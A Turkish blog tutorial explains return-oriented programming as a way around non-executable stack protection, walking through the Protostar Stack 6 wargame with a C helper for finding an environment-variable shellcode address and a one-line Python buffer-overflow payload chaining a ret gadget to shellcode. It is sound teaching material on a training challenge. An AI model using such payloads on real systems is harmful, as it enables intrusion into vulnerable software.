Return-oriented programming (ROP)

20 Feb 2020 » binary-exploitation

Non-executable (NX) Stack Nedir ?

Yazılımcılar buffer overflow saldırılarında programın veri alanı veya stack içerisinde kod çalıştırılmasından usanmış olacaklar ki buna bir hal çare bulmaya karar vermişler ve non-executable (NX) isimli birşey çıkmış ortaya. Kısaca bahsetmek gerekirse programımızdaki veri alanı veya stack vs. kısımlarının çalıştırılamaz olarak işaretlenmesine yarıyor.

Tabi bu önlem heykır abilerimizi/ablalarımızı durdurmaya yetmemiş ve bu koruma yöntemini atlatmak için ortaya meşhur 2 teknik çıkmış. ret2libc (Return-to-libc) ve ROP (Return-oriented programming). Bu yazıda sizlere dilim döndüğünce ROP tekniğini anlatmaya çalışacağım. Diğer yöntemi merak edenler için Protostar Stack 6 ve Protostar Stack 7 sorularının ret2libc saldırısı ile nasıl çözüldüğünü anlattım.

NOT: Bu koruma no-execute / never execute şeklinde adlandırılmakla beraber Intel buna execute disable (XD) , ARM ise execute never (XN) ve Microsoft da data execution prevention (DEP) şeklinde adlandırmalar yapmıştır.

NOT-2: Bir programda NX koruması olup olmadığını görmek için aşağıdaki komutu kullanabilirsiniz.

objdump -x program_adi | grep STACK -A 1

NX koruması yok

nx_yok

NX koruması var

nx_var

ROP Nedir ?

Adından da anlaşıldığı üzere dönüş odaklı programlama anlamına gelmektedir ve NX gibi korumaları atlamak için kullanılan modern bir sömürü tekniğidir.

ret2libc tekniğinde programın içinde mevcut olan libc sayesinde shell almıştık (sanırım ROP tekniğinde de system adresini bulup shell yürütebiliyoruz veya program içerisinde kullanılmayan bir fonksiyonun adresini bularak çalıştırabiliyoruz). Ancak bazı durumlarda yazılımcılar libc kullanımını kısıtladıklarında kullanabileceğimiz en iyi tekniklerden birisi ROP tekniğidir diyebiliriz.

ROP tekniğinde asıl olay gadget yani talimatlarda. Bu ufak gadget‘ları birbirine zincirleyerek hedefe ulaşılmaya çalışılır. (talimatlar genellikle ret komutuyla biterler.) Tabi bunun içinde programın mevcut talimatlarının detaylı incelenmesi gerekmektedir. Bununla ilgili canyoupwn.me‘nin youtube kanalında güzel bir anlatım mevcut. VIDEO

Peki neden ret komutu ? Bir işlev çağrıldığında stack içerisine bir dönüş adresi yerleştirilir, böylece fonksiyon geri döndüğünde dönüş adresi stackten çıkarılır ve EIP’ye yazılır. Bununla ilgili de liveoverflow kanalında güzel bir anlatım mevcut. VIDEO

Ret talimatlarının sıralamsı kısaca şöyle

1-) Stack Pointer adresine bak
2-) Bu adrese git
3-) Adresin gösterdiği değeri al (işaret ettiği adresi)
4-) Bu değeri Instruction Pointer a yaz ve stack pointer adresini/değerini arttır

Sanırım az-biraz temelini anlatabildim. Şimdi çok ufak bir örnek ile (gadget’lar içerisinde boğulmayacak şekilde) nasıl uygulandığına bakalım. İlerleyen zamanlarda belki bol gadget içeren bir örnek ekleyebilirim veya ayrı bir yazı yazabilirim :)

Bunun için gene Protostar Stack 6 sorusu üzerinden anlatacağım. Stack 7 sorusu da aynı mantıkda çözülebiliyor.

Yapacağımız şey kısaca ret gadget adresini yazdıktan sonra shellcode’umuzun adresini kullanarak EIP’nin üzerine yazmak olacak.

Öncelikle ret kullanabileceğimiz/kullanılmış bir adres bulalım.

0

Adresler geldiğine göre bir de ortam değişkeni olarak bir shellcode ekleyelim.

1

Şimdi de bu shellcode’un adresine bir bakalım. Bunun için ufak bir C kodu kullanacağız.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    printf("%p\n", getenv(argv[1]));
    return 0;
}

C kodumuza argüman olarak SHELLCODE ortam değişkeninin ismini verip adresi öğrenebiliriz. Daha sonra exploitimizi hazırlayıp çalıştırabiliriz.

(python -c "print 'A'*80 + '\x5f\x83\x04\x08' + '\x9f\xf8\xff\xbf'"; cat) | ./stack6

**

2

Ve exploitimizi başarılı bir şekilde çalıştırdık

Son Not : ret adresinden sonra C kodumuzun bize söylediği SHELLCODE adresini yazıyoruz. Yukarıdaki ekran görüntüsünde bir önceki bulduğum shellcode adresim kalmış :/